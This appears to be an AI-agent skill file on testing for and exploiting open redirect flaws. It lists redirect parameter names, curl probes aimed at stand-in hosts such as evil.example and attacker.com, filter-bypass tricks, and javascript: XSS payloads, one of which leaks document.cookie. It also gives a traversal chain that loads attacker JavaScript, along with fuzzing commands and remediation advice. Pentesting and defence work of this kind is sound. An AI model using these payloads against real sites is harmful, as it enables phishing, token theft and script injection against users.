Hacktricks-skills open-redirect-pentest

Detect and exploit open redirect vulnerabilities in web applications. Use this skill whenever you need to test for open redirect bugs, analyze redirect parameters, bypass URL validation filters, or chain redirects with XSS/SSRF. Trigger this skill for any web security testing involving URL redirects, OAuth flows, login redirects, or when you see parameters like next=, url=, redirect=, return=, dest=, or similar redirect-related inputs.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/open-redirect/SKILL.MD
source content

Open Redirect Pentesting

A comprehensive skill for detecting, testing, and exploiting open redirect vulnerabilities in web applications.

When to Use This Skill

Use this skill when:

  • Testing web applications for redirect vulnerabilities
  • Analyzing OAuth/OIDC flows for redirect_uri issues
  • Bypassing URL validation filters
  • Chaining redirects with XSS or SSRF
  • Fuzzing redirect parameters at scale
  • Investigating suspicious redirect behavior

Quick Start

# Single URL check
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"

# Fuzz redirect parameters
cat candidates.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Detection Workflow

Step 1: Identify Redirect Parameters

Look for these common redirect parameter names:

Query Parameters:

  • next
    ,
    url
    ,
    target
    ,
    rurl
    ,
    dest
    ,
    destination
  • redir
    ,
    redirect_uri
    ,
    redirect_url
    ,
    redirect
  • return
    ,
    returnTo
    ,
    return_to
    ,
    return_path
  • continue
    ,
    go
    ,
    goto
    ,
    jump
    ,
    jump_url
  • callback_url
    ,
    forward_url
    ,
    forward
  • checkout_url
    ,
    login
    ,
    logout
    ,
    ext
  • clickurl
    ,
    click?u
    ,
    originUrl
    ,
    origin
  • desturl
    ,
    page
    ,
    action
    ,
    action_url
  • service
    ,
    recurl
    ,
    link
    ,
    src
    ,
    location
  • burl
    ,
    request
    ,
    backurl
    ,
    RedirectUrl
    ,
    ReturnUrl
  • qurl
    ,
    data
    ,
    success
    ,
    pic
    ,
    sp_url

Path Patterns:

  • /redirect/{payload}
  • /cgi-bin/redirect.cgi?{payload}
  • /out/{payload}
    or
    /out?{payload}
  • /login?to={payload}

Step 2: Test Basic Redirects

# Test with scheme-relative URL (bypasses many filters)
curl -s -I "https://target.tld/page?url=//evil.example.com" | grep -i location

# Test with javascript: scheme
curl -s -I "https://target.tld/page?url=javascript:alert(1)" | grep -i location

# Test with trusted domain in userinfo
curl -s -I "https://target.tld/page?url=https://trusted.com@evil.com/" | grep -i location

Step 3: Bypass Validation Filters

Loopback/Localhost Variants

When the app allows only internal hosts, try these loopback notations:

IPv4:

  • 127.0.0.1
    ,
    127.1
    ,
    2130706433
    (decimal),
    0x7f000001
    (hex)
  • 017700000001
    (octal),
    127.0.0.1.
    (trailing dot)
  • localhost.
    ,
    LOCALHOST
    (casing)

IPv6:

  • [::1]
    ,
    [0:0:0:0:0:0:0:1]
    ,
    [::ffff:127.0.0.1]

Wildcard DNS (resolves to loopback):

  • lvh.me
    ,
    sslip.io
    (e.g.,
    127.0.0.1.sslip.io
    )
  • traefik.me
    ,
    localtest.me

URL Parsing Tricks

Network-path references:

//attacker.tld  # Scheme-relative, uses current scheme

Userinfo tricks:

https://trusted.tld@attacker.tld/  # Browser goes to attacker.tld
https://trusted.tld\@attacker.tld/  # Backslash confusion

Backslash confusion: Some backends treat

\
as a path character while browsers normalize to
/
:

https://trusted.tld\@attacker.tld
https://trusted.tld\evil.tld

XSS Pivot Payloads

javascript:alert(1)
java%0d%0ascript%0d%0a:alert(0)  # CRLF bypass
javascript://sub.domain.com/%0Aalert(1)  # Subdomain filter bypass
javascript://%250Aalert(1)  # Double-encoded newline
javascript://%250Aalert(1)//?1  # With query parameter
%09Jav%09ascript:alert(document.domain)  # Whitespace injection
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
//%5cjavascript:alert(1);
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript://https://whitelisted.com/?z=%0Aalert(1)
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

Advanced Bypass Techniques

Scheme-relative:

//evil.example

Credentials trick:

https://trusted.example@evil.example/

Backslash confusion:

https://trusted.example\@evil.example/

Whitespace/control chars:

evil.example%00
%09//evil.example

Prefix/suffix matching flaws:

https://trusted.example.evil.example/
https://evil.example/trusted.example

Path-based bypasses:

/\\evil.example
/..//evil.example

Automated Testing

Using OpenRedireX

# Install
git clone https://github.com/devanshbatham/OpenRedireX
cd OpenRedireX
./setup.sh

# Fuzz candidate URLs
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Using Oralyzer

# Install and run
git clone https://github.com/0xNanda/Oralyzer
cd Oralyzer
# Follow installation instructions

Custom Fuzzing Workflow

# 1. Gather historical URLs
cat domains.txt | gau --o urls.txt
# Alternative: waybackurls, katana, hakrawler

# 2. Extract redirect parameters
grep -iE "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
  | sed 's/\r$//' | sort -u > candidates.txt

# 3. Fuzz with payloads
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

# 4. Filter interesting results
awk '/30[1237]|Location:/I' results.txt

Client-Side Detection

Check for client-side redirect sinks in SPAs:

// Look for these patterns in JavaScript
window.location = 
window.location.href =
window.location.assign(
window.location.replace(
window.location.search
window.location.hash

// Framework helpers that read query/hash
// React Router, Vue Router, Angular Router

Meta Refresh and JavaScript Redirects

<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Advanced: Fragment Smuggling + Traversal Chain

Server-Side Gap (Go url.Parse)

Validators that only inspect

URL.Path
and ignore
URL.Fragment
:

GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1

Parsing sees

Path=/
and
Fragment=/..//\//attacker.com
, so validation passes, but the response emits
Location: /\//attacker.com
.

Client-Side Gap (SPA Path Traversal)

SPA helpers that decode paths for validation but return original strings:

/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate

The validator checks

/dashboard/script/
(no
..
), returns the encoded string, and the browser walks to
/user/auth-tokens/rotate
.

End-to-End Chain

https://<target>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js

This chains path traversal with fragment-smuggled redirect to coerce the browser into fetching attacker JS.

OAuth/OIDC Risks

Open redirects in OAuth flows can lead to account takeover by leaking authorization codes/tokens. Always test:

  • redirect_uri
    parameters
  • OAuth callback URLs
  • SSO redirect endpoints

Code Examples (Vulnerable Patterns)

.NET

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
header("Location: http://mysafedomain.com");
exit;
?>

Remediation

  1. Whitelist allowed redirect destinations - Maintain an explicit list of trusted URLs
  2. Use relative redirects - Redirect to relative paths instead of absolute URLs
  3. Validate URL scheme and host - Ensure scheme is http/https and host matches expected domain
  4. Use tokens for redirects - Generate signed tokens instead of passing URLs directly
  5. Encode redirect parameters - Properly encode all user input in redirect parameters

References